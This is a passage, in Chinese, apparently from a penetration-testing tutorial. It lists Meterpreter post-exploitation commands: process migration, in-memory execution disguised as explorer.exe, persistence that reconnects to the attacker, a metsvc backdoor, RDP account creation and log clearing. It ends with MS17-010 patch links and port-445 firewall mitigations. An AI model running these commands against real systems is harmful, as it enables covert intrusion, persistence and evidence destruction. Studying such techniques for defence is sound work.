192.168.1.109命令把目标主机3389 端口转发到8080端口,然后可以使用ps查看进程pid,接着使用migrate pid 把会话注入到pid对应的进程,然后可以使用execute -f xxx.exe执行程序,加-H参数会后台执行,可以把程序伪装成某个进程直接在内存运行execute -H -m -d explorer.exe -f xxx.exe,-m 在内存运行,-d 伪装的进程名,使用getpid可以查看注入的进程的pid
后渗透模块:post/windows/gather/forensics/enum_drives可以获取目标主机存储信息
run post/windows/gather/forensics/enum_drives
post/windows/gather/checkvm 可以检测目标主机是否是虚拟机
persistence -X -i 5 -p 4444 -r 本机ip 可以设置开机启动,每隔5s反向连接一次
-X 开机启动,-i 反向连接间隔, -r 连接的主机,-p 连接的端口
直接运行metsvc模块在目标主机创建metsrv.x86.dll、metsvc-server.exe、metsvc.exe文件并监听31337端口,开启meterpreter服务
运行getgui -e 开启目标远程桌面,可以使用getgui -u user -p password创建一个账号和密码,使用rdesktop -u user -p password 192.168.1.109:3389连接目标桌面
使用clearev清除痕迹
1、安装相应的补丁:
Windows XP SP3,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012598
Windows 2003 SP2,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012598
Windows Vista,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012596
Windows Server 2008,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012596
Windows 7 SP1/Windows 2008 R2,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012212,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012215
Windows 8.1,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012213,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012216
Windows Server 2012,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012214,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012217
Windows Server 2016,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012213,http://www.catalog.update.microsoft.com/search.aspx?q=KB4012216
2、启用防火墙,并设置防火墙策略,禁止入站规则中所有允许本地端口为445的策略,禁用出站规则中所有允许远程端口为445的策略。
3、停止Server服务,管理员权限执行:net stop server